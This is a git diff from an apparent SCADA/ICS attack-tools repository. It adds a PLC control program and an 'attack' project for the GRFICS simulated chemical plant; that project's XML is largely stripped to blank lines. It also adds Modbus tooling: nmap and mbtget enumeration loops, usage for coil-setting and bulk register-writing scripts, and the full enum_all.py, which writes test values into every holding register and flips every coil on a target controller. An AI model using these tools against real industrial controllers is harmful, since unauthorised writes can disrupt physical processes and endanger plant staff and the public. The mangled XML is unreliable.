scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus 